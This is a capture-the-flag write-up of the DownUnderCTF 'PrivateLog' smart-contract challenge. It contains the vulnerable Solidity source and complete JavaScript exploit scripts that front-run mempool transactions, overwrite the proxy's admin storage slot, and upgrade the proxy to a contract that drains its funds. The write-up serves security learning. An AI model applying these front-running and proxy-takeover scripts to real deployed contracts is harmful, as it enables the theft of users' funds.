- Published on
PrivateLog Write-up (DuCTF)
- Authors
- Name
- Fabrisme
This was a chall of the DownUnderCTF.
The objectif was to steal all the funds of this smart-contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Private Log
* @author Blue Alder (https://duc.tf)
**/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
contract PrivateLog is Initializable {
bytes32 public secretHash;
string[] public logEntries;
constructor() {
secretHash = 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD;
}
function init(bytes32 _secretHash) payable public initializer {
require(secretHash != 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD);
secretHash = _secretHash;
}
modifier hasSecret(string memory password, bytes32 newHash) {
require(keccak256(abi.encodePacked(password)) == secretHash, "Incorrect Hash");
secretHash = newHash;
_;
}
function viewLog(uint256 logIndex) view public returns (string memory) {
return logEntries[logIndex];
}
function createLogEntry(string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
require(bytes(logEntry).length <= 31, "log too long");
assembly {
mstore(0x00, logEntries.slot)
let length := sload(logEntries.slot)
let logLength := mload(logEntry)
sstore(add(keccak256(0x00, 0x20), length), or(mload(add(logEntry, 0x20)), mul(logLength, 2)))
sstore(logEntries.slot, add(length, 1))
}
}
function updateLogEntry(uint256 logIndex, string memory logEntry, string memory password, bytes32 newHash) public hasSecret(password, newHash) {
require(bytes(logEntry).length <= 31, "log too long");
assembly {
let length := mload(logEntry)
mstore(0x00, logEntries.slot)
sstore(add(keccak256(0x00, 0x20), logIndex), or(mload(add(logEntry, 0x20)), mul(length, 2)))
}
}
}
The description give us two hints.
- The challenge contract is begin a TransparentUpgradeableProxy
- And new log entry is added every minute.
The first vulnerability is located in the modifier hasSecret
, with front-running we can hijack the control of createLogEntry
and updateLogEntry
.
Then with an access to updateLogEntry
we can perform an arbitrary write to storage and change the admin address of the proxy contract located at 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
in the storage. With that we can be able to steal the fund.
So the first step will be the front-run.
First I'm going to install ethers and web3. Because I'm to lazy to read a doc.
mkdir PrivateLog
cd PrivateLog
npm init -y
npm i ethers web3
Here the code to front-run PrivateLog
:
const { readFileSync } = require('fs')
const { ethers, BigNumber } = require('ethers')
const { utils } = ethers
const Web3 = require('web3')
const PROXY_ADDRESS = '0x44ed9953B804B3B2DbaF2c917DFC685cde151e20'
const ABI = JSON.parse(readFileSync('./PrivateLog_sol_PrivateLog.abi', { encoding: 'utf-8' }))
const PROXY_ABI = JSON.parse(
readFileSync('./Transparent_sol_TransparentUpgradeableProxy.abi', {
encoding: 'utf-8',
})
)
;(async () => {
const eth = new ethers.providers.JsonRpcProvider('PROVIDER_URL')
const web3 = new Web3('PROVIDER_URL')
const playerWallet = new ethers.Wallet('PRIVATE_KEY', eth)
eth.defaultAccount = playerWallet.address
const proxyTarget = new ethers.Contract(PROXY_ADDRESS, ABI)
// keccak256('toto')
const totoPass = '0x2ef06b8bbad022ca2dd29795902ceb588d06d1cfd10cb6e687db0dbb837865e9'
eth.on('pending', async (tx) => {
if (tx.from === PROXY_ADDRESS) {
const args = web3.eth.abi.decodeParameters(
['string memory', 'string memory', 'bytes32'],
tx.data.toLowerCase().replace('0x', '').slice(8)
)
await proxyTarget.connect(playerWallet).createLogEntry(args['0'], args['1'], totoPass, {
gasLimit: tx.gasLimit.mul(2),
gasPrice: tx.gasPrice.mul(2),
})
}
})
})()
Then I need to craft a payload that can overwrite the admin value, doing my tests I noticed that with a wallet ending with 3E
I can control the Proxy. So let's create it
...
const ADMIN_OFFSET = BigNumber.from(
ethers.utils.keccak256(new TextEncoder().encode('eip1967.proxy.admin'))
);
const HASHED_SLOT = utils.keccak256(utils.hexZeroPad(paddedSlot, 32));
const OVER = ADMIN_OFFSET.sub(BigNumber.from(HASHED_SLOT)).add(1);
(async () => {
let wallet;
do {
wallet = ethers.Wallet.createRandom();
} while (wallet.address.slice(-2) !== '3E');
...
eth.defaultAccount = playerWallet.address;
const player = web3.eth.accounts.privateKeyToAccount('PRIVATE_KEY');
web3.eth.accounts.wallet.add(player);
web3.eth.defaultAccount = player.address;
const nonce = await eth.getTransactionCount(playerWallet.address);
eth.on('pending', async (tx) => {
if (tx.from === PROXY_ADDRESS) {
const args = web3.eth.abi.decodeParameters(
['string memory', 'string memory', 'bytes32'],
tx.data.toLowerCase().replace('0x', '').slice(8)
);
const rawTx = [
`0xdd1b54d3${OVER}`,
ethers.utils.hexZeroPad('0x80', 32).slice(2),
ethers.utils.hexZeroPad('0xc0', 32).slice(2),
args['1'],
`${ethers.utils
.hexZeroPad('0x1f', 32)
.slice(2)}000000000000000000000000`,
`${wallet.address.slice(2).slice(0, -2)}00`,
ethers.utils
.hexZeroPad(BigNumber.from(totoPass.length).toHexString(), 32)
.slice(2),
ethers.utils.hexZeroPad(totoPass, 32).slice(2),
].join('');
const txData = {
nonce,
gasLimit: tx.gasLimit.mul(2),
gasPrice: tx.gasPrice.mul(2),
value: 0,
data: rawTx,
from: playerWallet.address,
to: PROXY_ADDRESS,
};
const sentTx = await web3.eth.sendTransaction(txData);
console.log(sentTx);
}
});
})();
Now we need to upgradeToAndCall
the proxy contract to steal all the fund. My contract is:
pragma solidity ^ 0.8.0;
contract Rat
{
constructor() {
}
function attack() public {
uint256
balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
}
And the final version of the script:
const { readFileSync } = require('fs')
const { ethers, BigNumber } = require('ethers')
const { utils } = ethers
const Web3 = require('web3')
const PROXY_ADDRESS = '0x44ed9953B804B3B2DbaF2c917DFC685cde151e20'
const ABI = JSON.parse(readFileSync('./PrivateLog_sol_PrivateLog.abi', { encoding: 'utf-8' }))
const PROXY_ABI = JSON.parse(
readFileSync('./Transparent_sol_TransparentUpgradeableProxy.abi', {
encoding: 'utf-8',
})
)
const RAT_BIN = readFileSync('./Rat_sol_Rat.bin', { encoding: 'utf-8' })
const RAT_ABI = JSON.parse(readFileSync('./Rat_sol_Rat.abi', { encoding: 'utf-8' }))
const ADMIN_OFFSET = BigNumber.from(
ethers.utils.keccak256(new TextEncoder().encode('eip1967.proxy.admin'))
)
const HASHED_SLOT = utils.keccak256(utils.hexZeroPad(paddedSlot, 32))
const OVER = ADMIN_OFFSET.sub(BigNumber.from(HASHED_SLOT)).add(1)
;(async () => {
let wallet
do {
wallet = ethers.Wallet.createRandom()
} while (wallet.address.slice(-2) !== '3E')
const eth = new ethers.providers.JsonRpcProvider('PROVIDER_URL')
const playerWallet = new ethers.Wallet('PRIVATE_KEY', eth)
eth.defaultAccount = playerWallet.address
const web3 = new Web3('PROVIDER_URL')
const player = web3.eth.accounts.privateKeyToAccount('PRIVATE_KEY')
web3.eth.accounts.wallet.add(player)
web3.eth.defaultAccount = player.address
const ratFactory = new ethers.ContractFactory(RAT_ABI, RAT_BIN, player)
const rat = await ratFactory.deploy()
const proxyTarget = new ethers.Contract(PROXY_ADDRESS, ABI)
// keccak256('toto')
const totoPass = '0x2ef06b8bbad022ca2dd29795902ceb588d06d1cfd10cb6e687db0dbb837865e9'
await (
await playerWallet.sendTransaction({
to: wallet.address,
value: ethers.utils.parseEther('1'),
})
).wait
const nonce = await eth.getTransactionCount(playerWallet.address)
eth.on('pending', async (tx) => {
if (tx.from === PROXY_ADDRESS) {
const args = web3.eth.abi.decodeParameters(
['string memory', 'string memory', 'bytes32'],
tx.data.toLowerCase().replace('0x', '').slice(8)
)
const rawTx = [
`0xdd1b54d3${OVER}`,
ethers.utils.hexZeroPad('0x80', 32).slice(2),
ethers.utils.hexZeroPad('0xc0', 32).slice(2),
args['1'],
`${ethers.utils.hexZeroPad('0x1f', 32).slice(2)}000000000000000000000000`,
`${wallet.address.slice(2).slice(0, -2)}00`,
ethers.utils.hexZeroPad(BigNumber.from(totoPass.length).toHexString(), 32).slice(2),
ethers.utils.hexZeroPad(totoPass, 32).slice(2),
].join('')
const txData = {
nonce,
gasLimit: tx.gasLimit.mul(2),
gasPrice: tx.gasPrice.mul(2),
value: 0,
data: rawTx,
from: playerWallet.address,
to: PROXY_ADDRESS,
}
await web3.eth.sendTransaction(txData)
console.log(
await (
await proxyTarget
.connect(wallet)
.upgradeToAndCall(rat.address.toLocaleLowerCase(), '0x9e5faafc', {
gasLimit: 100_000,
gasPrice: 100_000,
})
).wait()
)
}
})
})()